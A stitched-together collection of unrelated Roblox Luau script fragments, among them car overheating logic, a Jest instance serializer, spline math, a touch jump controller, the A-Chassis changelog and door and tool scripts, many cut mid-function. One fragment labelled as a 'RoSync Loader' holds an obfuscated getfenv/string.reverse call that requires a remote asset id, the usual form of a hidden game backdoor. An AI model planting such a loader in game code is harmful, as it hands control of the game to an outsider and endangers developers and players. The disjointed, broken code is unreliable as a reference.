if Heat >= BlowupTemp then
Heat = BlowupTemp
radiator.Break:Play()
radiator.Liquid.Volume = .5
radiator.Oil.Enabled = true
radiator.Antifreeze.Enabled = true
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-20 then
radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
radiator.Smoke.Enabled = true
dash.Warn.Transparency = 0
radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
else
radiator.Smoke.Enabled = false
radiator.Steam.Volume = 0
dash.Warn.Transparency = 1
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))
else
handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
handler:FireServer("FanVolume",FanVolume)
else
FanCool = 0
handler:FireServer("FanVolume",0)
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
handler:FireServer("Blown")
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-20 then
handler:FireServer("Smoke",true,BlowupTemp,Heat)
else
handler:FireServer("Smoke",false,BlowupTemp,Heat)
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
handler:FireServer("Gauge",script.Celsius.Value,intmp)
end
end
|
-- ROBLOX NOTE: no upstream
-- this plugin serializes Roblox Instance objects
-- https://developer.roblox.com/en-us/api-reference/class/Instance
|
local CurrentModule = script.Parent.Parent
local Packages = CurrentModule.Parent
local JestGetType = require(Packages.JestGetType)
local getType = JestGetType.getType
local LuauPolyfill = require(Packages.LuauPolyfill)
local instanceof = LuauPolyfill.instanceof
local RobloxInstance = require(Packages.RobloxShared).RobloxInstance
local getRobloxProperties = RobloxInstance.getRobloxProperties
local InstanceSubset = RobloxInstance.InstanceSubset
local printTableEntries = require(CurrentModule.Collections).printTableEntries
local Types = require(CurrentModule.Types)
type Config = Types.Config
type Refs = Types.Refs
type Printer = Types.Printer
local function printInstance(
val: any,
config: Config,
indentation: string,
depth: number,
refs: Refs,
printer: Printer
): string
local result = ""
local children = val:GetChildren()
table.sort(children, function(a, b)
return a.Name < b.Name
end)
local props = getRobloxProperties(val.ClassName)
if #props > 0 or #children > 0 then
result = result .. config.spacingOuter
local indentationNext = indentation .. config.indent
-- print properties of Instance
for i, v in ipairs(props) do
local name = printer(v, config, indentationNext, depth, refs)
local value = val[v]
-- collapses output for Instance values to avoid loops
if getType(value) == "Instance" then
value = printer(value, config, indentationNext, math.huge, refs)
else
value = printer(value, config, indentationNext, depth, refs)
end
result = string.format("%s%s%s: %s", result, indentationNext, name, value)
if i < #props or #children > 0 then
result = result .. "," .. config.spacingInner
elseif not config.min then
result = result .. ","
end
end
-- recursively print children of Instance
for i, v in ipairs(children) do
local name = printer(v.Name, config, indentationNext, depth, refs)
local value = printer(v, config, indentationNext, depth, refs)
result = string.format("%s%s%s: %s", result, indentationNext, name, value)
if i < #children then
result = result .. "," .. config.spacingInner
elseif not config.min then
result = result .. ","
end
end
result = result .. config.spacingOuter .. indentation
end
return result
end
local function serialize(
val: any,
config: Config,
indentation: string,
depth: number,
refs: Refs,
printer: Printer
): string
depth = depth + 1
if depth >= config.maxDepth then
return string.format('"%s" [%s]', val.Name, val.ClassName)
end
if instanceof(val, InstanceSubset) then
return val.ClassName .. " {" .. printTableEntries(val.subset, config, indentation, depth, refs, printer) .. "}"
end
return val.ClassName .. " {" .. printInstance(val, config, indentation, depth, refs, printer) .. "}"
end
local function test(val: any): boolean
return getType(val) == "Instance" or instanceof(val, InstanceSubset)
end
return {
serialize = serialize,
test = test,
}
|
--This script removes any extra hats or tools.
|
workspace.ChildAdded:connect(function(item)
if item:IsA("Hat") or item:IsA("Tool") then
wait(10)
if item.Parent == workspace then
item:Destroy()
end
end
end)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KittySword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- Private Functions
|
local function arcLengthIntegrand(self, spline, t)
local a, b, c, d = unpack(self.Coefficients)
local dv = b[spline] + 2*c[spline]*t + 3*d[spline]*t*t
return dv.Magnitude
end
local function integrate(self, spline, t)
local h = t / SIMPSON_N
local xi0, xi1, xi2 = arcLengthIntegrand(self, spline, t), 0, 0
for i = 0, SIMPSON_N - 1 do
local x = i*h
if (i % 2 == 0) then
xi2 = xi2 + arcLengthIntegrand(self, spline, x)
else
xi1 = xi1 + arcLengthIntegrand(self, spline, x)
end
end
return h * (xi0 + 2*xi2 + 4*xi1) / 3
end
local function clampedCubicSpline(p, fpo, fpn)
local n = #p
local a, b, c, d = {unpack(p)}, {}, {}, {}
local aa = {}
aa[1] = 3*(a[2] - a[1]) - 3*fpo
aa[n] = 3*fpn - 3*(a[n] - a[n-1])
for i = 2, n - 1 do
aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1])
end
local l, mu, z = {2}, {0.5}, {aa[1]/2}
for i = 2, n - 1 do
l[i] = 4 - mu[i-1]
mu[i] = 1 / l[i]
z[i] = (aa[i] - z[i-1]) / l[i]
end
l[n] = 2 - mu[n-1]
z[n] = (aa[n] - z[n-1]) / l[n]
c[n] = z[n]
for j = n - 1, 1, -1 do
c[j] = z[j] - mu[j]*c[j+1]
d[j] = (c[j+1] - c[j]) / 3
b[j] = p[j+1] - p[j] - c[j] - d[j]
end
return a, b, c, d
end
local function naturalCubicSpline(p)
local n = #p
local a, b, c, d = {unpack(p)}, {}, {}, {}
local aa = {}
for i = 2, n - 1 do
aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1])
end
local start = Vector3.new(0, 10, 0)
local l, mu, z = {1}, {0}, {ZERO}
l[n], z[n], c[n] = 1, ZERO, ZERO
for i = 2, n - 1 do
l[i] = 4 - mu[i-1]
mu[i] = 1 / l[i]
z[i] = (aa[i] - z[i-1]) / l[i]
end
for j = n - 1, 1, -1 do
c[j] = z[j] - mu[j]*c[j+1]
d[j] = (c[j+1] - c[j]) / 3
b[j] = p[j+1] - p[j] - c[j] - d[j]
end
return a, b, c, d
end
|
----- Controller Table -----
|
local ReplicaController = {
NewReplicaSignal = Madwork.NewScriptSignal(), -- (Replica)
InitialDataReceivedSignal = Madwork.NewScriptSignal(), -- ()
InitialDataReceived = false,
_replicas = {
--[[
[replica_id] = {
Data = {}, -- [table] Replicated Replica data table
Id = 1, -- [integer] Replica id
Class = "", -- [string] Primary Replica identifier
Tags = {UserId = 2312310}, -- [table] Secondary Replica identifiers
Parent = Replica, -- [Replica / nil] -- Child replicas inherit replication settings
Children = {}, -- [table] {replica, ...}
_write_lib = {[func_id] = function, ...} / nil, -- [table] List of wrapped write functions
_write_lib_dictionary = {["function_name"] = func_id, ...} / nil, -- [table] Dictionary of function names and their id's
_table_listeners = {[1] = {}} -- [table] Listeners of specific value changes in replica data
_function_listeners = {[func_id] = {listener, ...}, ...} -- [table] Listeners of write function calls
_raw_listeners = {listener, ...},
_signal_listeners = {},
_maid = maid,
}
--]]
},
_class_listeners = {}, -- {["replica_class"] = script_signal, ...}
_child_listeners = {}, -- {[replica_id] = {listener, ...}, ...}
}
|
----------------------------------------------------------------------------------------------------------------
|
local SmoothDamp = {}
SmoothDamp.__index = SmoothDamp
function SmoothDamp.new()
return setmetatable({
MaxSpeed = math.huge;
_update = tick();
_velocity = Vector3_new();
}, SmoothDamp)
end
function SmoothDamp:Update(current, target, smoothTime)
local currentVelocity = self._velocity
local now = tick()
local deltaTime = (now - self._update)
smoothTime = math_max(0.0001, smoothTime)
local num = (2 / smoothTime)
local num2 = (num * deltaTime)
local d = (1 / (1 + num2 + 0.48 * num2 * num2 + 0.235 * num2 * num2 * num2))
local vector = (current - target)
local vector2 = target
local maxLength = (self.MaxSpeed * smoothTime)
vector = vector.Magnitude > maxLength and (vector.Unit * maxLength) or vector -- Clamp magnitude.
target = (current - vector)
local vector3 = ((currentVelocity + num * vector) * deltaTime)
currentVelocity = ((currentVelocity - num * vector3) * d)
local vector4 = (target + (vector + vector3) * d)
if ((vector2 - current):Dot(vector4 - vector2) > 0) then
vector4 = vector2
currentVelocity = ((vector4 - vector2) / deltaTime)
end
self._velocity = currentVelocity
self._update = now
return vector4
end
function SmoothDamp:UpdateAngle(current, target, smoothTime)
return self:Update(current, (current + DeltaAngleV3(current, target)), smoothTime)
end
return SmoothDamp
|
--!strict
-- polyfill for https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof
| |
--[[ <<DO NOT DELETE THIS MODULE>>
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/ Build 6.52S2
SecondLogic @ Inspare
>>Manual
Basically...everything you can and would ever want to touch is in the tuning module. EVERYTHING
Torque Curve Tune Visualizer:
https://www.desmos.com/calculator/2uo3hqwdhf
Basic Tips:
--Installation
>Everything is built-in (assembly, welding, suspension, gyros), so all you have to worry about is placing the wheels and the seat.
>Body parts go in the "Body" section.
>Wheel parts such as 3D rims and brake disks go in the "Parts" section of the wheel.
>Suspension-Anchored parts such as suspension wishbones and linkages go in the "SuspensionFixed" section.
>Axle-Anchored parts such as calipers go in the "WheelFixed" section.
>You can add or remove wheels. To add a wheel, simply copy one of the wheels and make sure it's named one of the following: "F","FL","FR","R","RL","RR".
>Wheels need to be aligned with the axes of the seat. Don't rotate the seat relative to the wheels as it may cause welding problems.
>All wheel offsets are applied in the tuning module. Do NOT manually add offset to the wheels. Steering axis is centered on the wheel part by default.
>Seat offset can be adjusted in the "MiscWeld" module under "Initialize".
>Use the "Misc" section for scripted/moving parts and apply welding using the "MiscWeld" module under "Initialize".
--Tuning
>Reduce weight(density) if setup is lacking torque. Increase density if setup has too much torque.
>Add downforce manually if setup is lacking grip or use a downforce plugin.
>Dialing in ratios used in real cars is an easy way to have a realisticly tuned transmission.
>Modifying the "Drive" script may affect the integrity of the system.
>Custom scripts should be put in the "Plugins" folder. Using plugins made by other users is encouraged.
>When writing custom plugins, you can reference the values within the "Values" folder inside the A-Chassis Interface.
>It is a good practice to make plugins compatible with any setup and providing a usage manual if a plugin is released.
>You can remove/change the default plugins that come with the kit. The drive system will still work perfectly with or without them.
--Updates
>To update, simply just replace the entire "A-Chassis Tune" module of an existing car with a newer version of the module.
>You may want to copy the tune values and plugins from the old module, but dont simply overwrite the tune module as new values may be added.
>>Changelog
[6/10/17 : Build 6.52S2] - Fixed Initialization Orientation
[Fixed Initialization Rotation]
-Fixed initialization rotation glitch
[6/8/17 : Build 6.51S2] - More Suspension Tuning
[Re-Added Suspension Values]
-New suspension tuning is now the same as the previous suspension
-AntiRoll and PreCompress are now added to suspension tuning
[Fixes]
-Fixed Rev-Boucing: Car does not stall anymore when rev-bouncing
-Fixed Stock Gauges not showing the the right transmission mode / pbrake mode
[6/8/17 : Build 6.5S2] - Full Suspension Change and Optimization
[New Suspension System]
-Suspension Linkages are now made using axles instead of constraints
-Better overall stability and ease of tuning
-SpringConstraint Tuning has been changed in the tune to more meaningful values
-Added AntiRoll system using gyro dampening on the suspension linkages
-AxleSize affects the size of suspension linkage parts
[Major Performance Optimizations]
-Torque output calculations are now cached (pre-calculated and stored) to reduce runtime cpu load
-Constant multipliers for several lines have been simplified and cached
-Split Engine function into RPM calculation and Power Output
-Split runtime loops into different cycle rates
-RPM calculation, Steering, and External Value updating now run on 60 FPS max (from 30) for smoother steering and RPM tracking.
-Engine Output and Flip now run on 15 FPS max (from 30) to reduce runtime cpu load
-Overall percieved smoothness is now TWICE AS MUCH but runtime cpu load has actually been HALVED!!!
[5/23/17 : Build 6.43S] - STUFF
[Added Tune Values]
-Added WBVisible to set weight brick visibility
[Independent Camera Handling]
-Separated camera handling from Drive script
-Mouse camera is now handled by a plugin
-Custom camera plugin support is now easier
[Stock Plugins Update]
-Added Dynamic Friction as a stock plugin
-Dynamic friction can be tuned within the Simulated script
-Updated default sound plugin
-Added mouse-steer camera plugin
[Code Fixes]
-Fixed missing operation within torque curve
-Slight optimizations during runtime
[5/20/17 : Build 6.42S] - ABS and PGS Standardization
[Added ABS]
-Modulates brakes when locking
-Added threshold value for slip allowance
-Added control toggles for ABS
-Added ABS indicator and control mapping to stock UI
[Split Density Tuning for PGS and Legacy]
-Added standardized weight scaling values to tune
-Default weight tuning set to 1 cubic stud : 50 lbs for PGS
-Default weight tuning set to 1 cubic stud : 10 lbs for Legacy
-Split front and rear density to PGS and Legacy
-Split brake force tuning to PGS and Legacy
[Added Tune Values]
-TCSEnabled: Sets whether or not the car will have TCS
-ABSEnabled: Sets whether or not the car will have ABS
-LoadDelay: Sets a delay time before initializing car
[Bug Fix: Axle Size Initialization]
-Car applies proper axle size
-Added AxleDensity value which sets axle density
-Fixed miscelaneous wheel part welding
[Added Changable Stock Gauge Units]
-Added units system for stock gauges
-Added default units: MPH [1 stud : 10 in], KP/H [1 stud : 10 in], SPS
-Custom units can be added or removed
-Click on speed to change between units
-Moved Controls button to middle for better visibility
[Code Documentation]
-Extensive documentation and commenting within scripts for better readability
-Improved warning message for oversized mass condition
[5/4/17 : Build 6.41S] - Standardized Weight
[Added automatic weight system]
-Added tune values for car weight, center of gravity, and wheel density
-Weight standard: 100 lbs = 1 cubic stud mass
-Applies weight at initialization
[Scaled Down Power Delivery]
-Horsepower output now at 1/10 because of lighter weight standard
-Added FDMult value in transmission for gear ratio scaling without having to change Final Drive (useful for low HP tunes)
[Optimized value for Anchor Offset]
-Changed "SusOffset" to "Anchor Offset"
-New anchor offset is now based off of wishbone length and wishbone angle.
-Anchor offset now labelled for forward, lateral, and vertical offsets.
[Split some tune values to F/R]
-Suspension values for front and rear are now independently tunable.
-Front and rear brakes can be tuned independently.
[Tune Module Housekeeping]
-Rearranged and documented several of the values within the tune module.
-Removed GyroP and GyroMaxTorque for simplicity. Dampening values are still present.
-Changed some decimal values to percent values
[1/2/17 : Build 6.40S] - Suspension
"S" Build number identifies suspension build
[Added suspension system for PGS Physics Solver]
-Suspension uses ROBLOX constraints and is automatically generated with the chassis
-Added tune values for suspension
-Temporarily removed caster tuning
[Steering Fix]
-Added tune value 'ReturnSpeed' which determines how fast wheels return to default orientation
[New Torque Curve Equation]
-New equation gives more control over the shape of the torque curve
-Engine values have been replaced with the new equation's variables
-Added link to desmos graph for the torque curve visualization
[10/31/16 : Build 6.33] - Semi-Automatic
[Added semi-automatic transmission mode]
-'TransModes' now accepts "Semi" value for semi-automatic.
-Updated AC6_Stock_Gauges to include semi-automatic mode.
[Fixed disengaging p-brake]
-P-Brake now remains engaged if player gets into then vehicle.
[Fixed FE Support for AC6_Stock_Sound]
-Sounds should now work properly with Filtering Enabled.
[8/5/16 : Build 6.32] - Differential System
[Implemented differential system]
-Differential controls torque distibution between wheels that are spinning at different rates
-Added tune values 'FDiffSlipThres', 'FDiffLockThres', 'RDiffSlipThres', 'RDiffLockThres', 'CDiffSlipThres', and 'CDiffLockThres'.
-'DiffSlipThres' determine the threshold of the speed difference between the wheels. Full lock applies at max threshold.
-A lower slip threshold value will make the diff more aggressive.
-'DiffLockThres' determines the bias of the differential.
-A lock threshold value more than 50 puts more torque into the slipping wheel (moving towards an open diff).
-A lock threshold value less than 50 puts more torque into the grounded wheel (moving towards a locked diff).
[Fixed multiple wheel support]
-The chassis can now use more than just the default 4 set of wheels. Just copy an existing wheel and place accordingly.
-Differential works with auxiliary wheels.
[7/13/16 : Build 6.31] - Peripheral Settings
[Added peripheral adjustment values]
-Moved controller and mouse deadzone values to the "Controls" section of the tune.
-Split controller deadzone into left and right input.
-Moved mouse control width to "Conrols" secton. This value now operates based off of % of screed width.
[Updated stock Controls Module]
-Added sliders for controller and mouse deadzone values.
-Added slider for mouse control width.
[6/15/16 : Build 6.3] - Motercisly
[Better motorcycle system support]
-Added wheel configurations "F" and "R" for single wheel settup.
-"F" and "R" wheels will have axle parts on both sides for better balance.
-These wheel configurations will ignore outor rotation value and will rotated based off of the inner rotation value only.
-Camber and Toe cannot be applied to these wheel configurations. Caster will still be applied as normal.
[Bug fixes]
-Caster now applies after wheel part rotations so wheel parts dont rotate with caster.
-Fixed Clutch re-engaging automatically when shifting out of neutral.
[6/4/16 : Build 6.21] - AC6 Official Public Kit Release
[Plugin FilteringEnabled compatability made easier]
-System now detects if there is a RemoteEvent or RemoteFunction inside a plugin. These will be parented directly under the car.
-The RemoteEvent/RemoteFunction needs to be a direct child of the plugin for it to be detected.
-Scripts inside the RemoteEvent/RemoteFunction should be disabled. They will be enabled after initialization.
-Be careful as this system is suceptible to name collisions. Name your RemoteEvents/RemoteFunctions uniquely.
-Stock AC6 Sound plugin is now FE compatible.
[Controls Panel now a plugin instead of integrated]
-Separated controls panel from Drive script. The controls panel is now a plugin.
-The "Controls" folder appears inside the interface on Drive startup. Use this folder to reference button mapping values for custom controls plugins.
-"ControlsOpen" value added. This is a safety toggle when changing control values. This value can be manipulated by plugins.
[New tune values]
-Added 'AutoFlip' tune value. This determines if the car automatically flips itself over when upside down.
-Added 'StAxisOffset' tune value. This offsets the center of the steering axis. Positive value = offset outward.
-Added 'SteerD', 'SteerMaxTorque', and 'SteerP' values which set the steering axle gyro properties.
[MiscWeld streamlining]
-Added "Misc" section to the main sections. This should contain scripted/moving parts.
-Parts in this section are NOT WELDED AUTOMATICALLY. Use the "MiscWeld" module to weld these parts. The "Misc" section is pre-referenced as 'misc'.
[Bug fixes]
-Fixed flip gyro not resetting when gyro is active and driver leaves car.
-Fixed issue with switching transmission modes.
--]]
|
return "6.52S2"
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local TouchJump = setmetatable({}, BaseCharacterController)
TouchJump.__index = TouchJump
function TouchJump.new()
local self = setmetatable(BaseCharacterController.new(), TouchJump)
self.parentUIFrame = nil
self.jumpButton = nil
self.characterAddedConn = nil
self.humanoidStateEnabledChangedConn = nil
self.humanoidJumpPowerConn = nil
self.humanoidParentConn = nil
self.externallyEnabled = false
self.jumpPower = 0
self.jumpStateEnabled = true
self.isJumping = false
self.humanoid = nil -- saved reference because property change connections are made using it
return self
end
function TouchJump:EnableButton(enable)
if enable then
if not self.jumpButton then
self:Create()
end
local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid and self.externallyEnabled then
if self.externallyEnabled then
if humanoid.JumpPower > 0 then
self.jumpButton.Visible = true
end
end
end
else
self.jumpButton.Visible = false
self.isJumping = false
self.jumpButton.ImageRectOffset = Vector2.new(1, 146)
end
end
function TouchJump:UpdateEnabled()
if self.jumpPower > 0 and self.jumpStateEnabled then
self:EnableButton(true)
else
self:EnableButton(false)
end
end
function TouchJump:HumanoidChanged(prop)
local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
if prop == "JumpPower" then
self.jumpPower = humanoid.JumpPower
self:UpdateEnabled()
elseif prop == "Parent" then
if not humanoid.Parent then
self.humanoidChangeConn:Disconnect()
end
end
end
end
function TouchJump:HumanoidStateEnabledChanged(state, isEnabled)
if state == Enum.HumanoidStateType.Jumping then
self.jumpStateEnabled = isEnabled
self:UpdateEnabled()
end
end
function TouchJump:CharacterAdded(char)
if self.humanoidChangeConn then
self.humanoidChangeConn:Disconnect()
self.humanoidChangeConn = nil
end
self.humanoid = char:FindFirstChildOfClass("Humanoid")
while not self.humanoid do
char.ChildAdded:wait()
self.humanoid = char:FindFirstChildOfClass("Humanoid")
end
self.humanoidJumpPowerConn = self.humanoid:GetPropertyChangedSignal("JumpPower"):Connect(function()
self.jumpPower = self.humanoid.JumpPower
self:UpdateEnabled()
end)
self.humanoidParentConn = self.humanoid:GetPropertyChangedSignal("Parent"):Connect(function()
if not self.humanoid.Parent then
self.humanoidJumpPowerConn:Disconnect()
self.humanoidJumpPowerConn = nil
self.humanoidParentConn:Disconnect()
self.humanoidParentConn = nil
end
end)
self.humanoidStateEnabledChangedConn = self.humanoid.StateEnabledChanged:Connect(function(state, enabled)
self:HumanoidStateEnabledChanged(state, enabled)
end)
self.jumpPower = self.humanoid.JumpPower
self.jumpStateEnabled = self.humanoid:GetStateEnabled(Enum.HumanoidStateType.Jumping)
self:UpdateEnabled()
end
function TouchJump:SetupCharacterAddedFunction()
self.characterAddedConn = Players.LocalPlayer.CharacterAdded:Connect(function(char)
self:CharacterAdded(char)
end)
if Players.LocalPlayer.Character then
self:CharacterAdded(Players.LocalPlayer.Character)
end
end
function TouchJump:Enable(enable, parentFrame)
self.parentUIFrame = parentFrame
self.externallyEnabled = enable
self:EnableButton(enable)
end
function TouchJump:Create()
if not self.parentUIFrame then
return
end
if self.jumpButton then
self.jumpButton:Destroy()
self.jumpButton = nil
end
local minAxis = math.min(self.parentUIFrame.AbsoluteSize.x, self.parentUIFrame.AbsoluteSize.y)
local isSmallScreen = minAxis <= 500
local jumpButtonSize = isSmallScreen and 70 or 120
self.jumpButton = Instance.new("ImageButton")
self.jumpButton.Name = "JumpButton"
self.jumpButton.Visible = false
self.jumpButton.BackgroundTransparency = 1
self.jumpButton.Image = TOUCH_CONTROL_SHEET
self.jumpButton.ImageRectOffset = Vector2.new(1, 146)
self.jumpButton.ImageRectSize = Vector2.new(144, 144)
self.jumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize)
self.jumpButton.Position = isSmallScreen and UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize - 20) or
UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize * 1.75)
local touchObject = nil
self.jumpButton.InputBegan:connect(function(inputObject)
--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event
--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)
if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch
or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
touchObject = inputObject
self.jumpButton.ImageRectOffset = Vector2.new(146, 146)
self.isJumping = true
end)
local OnInputEnded = function()
touchObject = nil
self.isJumping = false
self.jumpButton.ImageRectOffset = Vector2.new(1, 146)
end
self.jumpButton.InputEnded:connect(function(inputObject)
if inputObject == touchObject then
OnInputEnded()
end
end)
GuiService.MenuOpened:connect(function()
if touchObject then
OnInputEnded()
end
end)
if not self.characterAddedConn then
self:SetupCharacterAddedFunction()
end
self.jumpButton.Parent = self.parentUIFrame
end
return TouchJump
|
--SeregaTopYTReal2
--Put the "died" sound to npc's head
|
local NPC = script.Parent
local Head = NPC.Torso
local Humanoid
for i,v in pairs(NPC:GetChildren()) do
if v:IsA('Humanoid') then
Humanoid = v
end
end
if Humanoid then
Humanoid.Died:Connect(function()
wait(0.0001)
Head:FindFirstChild("dead"):Play()
end)
else
warn('Cannot find Humanoid in DeathSound Script!')
end
|
--//Variables\\--
|
Spawner=script.Parent.Parent:FindFirstChildOfClass("Part")
script.Parent=game.ServerScriptService
Zombie.Parent=game.ServerStorage
|
--[[ Last synced 1/23/2021 02:42 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
------------------------------------------------------------------------
--Actual script starts here. I don't reccomend modifying anything past this point.
|
local UserInputService = game:GetService('UserInputService')
local IsMobile = UserInputService.TouchEnabled --Is true if on mobile.
if IsMobile then --Only does things if it's on mobile.
local PlayerGui = game.Players.LocalPlayer:WaitForChild"PlayerGui"
local PlayerScripts = game.Players.LocalPlayer:WaitForChild"PlayerScripts"
local SHIFT_LOCK_OFF = 'rbxasset://textures/ui/mouseLock_off.png'
local SHIFT_LOCK_ON = 'rbxasset://textures/ui/mouseLock_on.png'
local SHIFT_LOCK_CURSOR = 'rbxasset://textures/MouseLockedCursor.png'
--This essentially does what the scripts do for non-mobile players.
--It is important to do it or else shift lock wouldn't work on mobile.
local CM = PlayerScripts:WaitForChild"PlayerModule".CameraModule
local CameraModule = require(CM).new()
local MLC = require(CM.MouseLockController)
CameraModule.activeMouseLockController = MLC.new()
local toggleEvent = CameraModule.activeMouseLockController:GetBindableToggleEvent()
if toggleEvent then
toggleEvent:Connect(function()
CameraModule:OnMouseLockToggled()
end)
end
--Create the gui.
local MouseLockController = CameraModule.activeMouseLockController
local frame = Instance.new('Frame')
frame.Name = "BottomLeftControl"
frame.Size = UDim2.new(.1, 0, .1, 0)
frame.Position = UDim2.new(1, 0, 1, 0)
frame.AnchorPoint = Vector2.new(1,1)
frame.BackgroundTransparency = 1
frame.ZIndex = 10
frame.Parent = script.Parent
local ShiftLockIcon = Instance.new('ImageButton')
ShiftLockIcon.Name = "MouseLockLabel"
ShiftLockIcon.Size = UDim2.new(1, 0, 1, 0)
ShiftLockIcon.Position = UDim2.new(0, 0, 0, 0)
ShiftLockIcon.BackgroundTransparency = 1
ShiftLockIcon.Image = SHIFT_LOCK_OFF
ShiftLockIcon.Visible = true
ShiftLockIcon.Parent = frame
local frame2 = Instance.new('Frame')
frame2.Name = "MiddleIcon"
frame2.Size = UDim2.new(.1, 0, .1, 0)
frame2.Position = UDim2.new(.5, 0, .5, 0)
frame2.AnchorPoint = Vector2.new(.5,.5)
frame2.BackgroundTransparency = 1
frame2.ZIndex = 10
frame2.Visible = false
frame2.Parent = script.Parent
local MouseLockCursor = Instance.new('ImageButton')
MouseLockCursor.Name = "MouseLockLabel"
MouseLockCursor.Size = UDim2.new(1, 0, 1, 0)
MouseLockCursor.Position = UDim2.new(0, 0, 0, 0)
MouseLockCursor.BackgroundTransparency = 1
MouseLockCursor.Image = SHIFT_LOCK_CURSOR
MouseLockCursor.Visible = true
MouseLockCursor.Parent = frame2
local arc = Instance.new("UIAspectRatioConstraint")
arc.AspectRatio = 1
arc.DominantAxis = "Height"
arc.Parent = frame
arc:Clone().Parent = frame2
--This event fires when shift lock is activated.
--It just changes the icon.
toggleEvent:Connect(function()
local IsLocked = CameraModule.activeMouseLockController:IsMouseLocked()
ShiftLockIcon.Image = IsLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
if SHOW_CENTER_CURSOR then
frame2.Visible = IsLocked
end
end)
--When the icon is pressed, get the camera module to toggle shift lock.
ShiftLockIcon.Activated:connect(function()
MouseLockController:DoMouseLockSwitch(0, Enum.UserInputState.Begin)
end)
end
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1003)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--BotHit
|
Door.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") and hit.Parent:FindFirstChild("Bot") then
if Ready == true then
if Open == false then
Ready = false
Unlock:Play()
hit.Parent.HumanoidRootPart.Anchored = true
wait(1)
hit.Parent.HumanoidRootPart.Anchored = false
Open = true
Handle.TargetAngle = 90
OpenSound:Play()
OpenTween:Play()
wait(.5)
Ready = true
end
end
end
end)
|
--[=[
Observes an attribute on an instance.
@return Observable<any>
]=]
|
function AttributeValue:Observe()
return RxAttributeUtils.observeAttribute(self._object, self._attributeName, rawget(self, "_defaultValue"))
end
|
-- mark for precompiled code ('<esc>Lua') (from lua.h)
|
luaU.LUA_SIGNATURE = "\27Lua"
|
-- Initialization
|
local Time = Instance.new('IntValue', game.Workspace:WaitForChild('MapPurgeProof'))
Time.Name = 'Time'
|
--[[
Returns the UpVector used for each face to determine Camera rotation when doing CFrame calculation.
]]
|
function CameraModule:_getUpVectorByFace(cframe, face)
local upVectorsByFace = {
[Enum.NormalId.Front] = cframe.UpVector,
[Enum.NormalId.Back] = cframe.UpVector,
[Enum.NormalId.Right] = cframe.UpVector,
[Enum.NormalId.Left] = cframe.UpVector,
[Enum.NormalId.Top] = cframe.RightVector,
[Enum.NormalId.Bottom] = cframe.RightVector,
}
return upVectorsByFace[face]
end
return CameraModule
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
